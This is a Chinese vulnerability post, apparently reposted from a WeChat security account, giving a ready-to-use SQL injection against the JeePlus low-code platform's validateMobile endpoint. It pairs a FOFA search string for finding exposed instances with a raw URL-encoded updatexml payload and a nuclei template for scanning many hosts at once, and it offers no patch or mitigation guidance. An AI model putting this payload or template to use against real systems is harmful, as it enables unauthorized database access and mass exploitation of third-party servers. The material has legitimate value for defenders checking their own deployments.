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漏洞描述

JeePlus低代码开发平台存在SQL注入漏洞

fofa语句

app="JeePlus"

漏洞复现

打开页面

构造payload

GET /a/sys/user/validateMobile?mobile=1%27+and+1%3D%28updatexml%281%2Cconcat%280x7e%2C%28select+md5%281%29%29%2C0x7e%29%2C1%29%29+and+%271%27%3D%271 HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: close
Accept-Encoding: gzip, deflate
Connection: close

nuclei批量验证

id: JeePlus-SQLi

info:
  name: JeePlus低代码开发平台存在SQL注入漏洞
  author: changge
  severity: high
  description: |
    JeePlus低代码开发平台存在SQL注入漏洞
  metadata:
    fofa-query: app="JeePlus"
  reference:
    - https://127.0.0.1
  tags: auto

http:
  - raw:
      - |
        GET /a/sys/user/validateMobile?&mobile=1%27+and+1%3D%28updatexml%281%2Cconcat%280x7e%2C%28select+md5%281%29%29%2C0x7e%29%2C1%29%29+and+%271%27%3D%271 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
        Accept: */*
        Connection: Keep-Alive


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c4ca4238a0b923820dcc509a6f75849"

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：JeePlus低代码开发平台存在SQL注入漏洞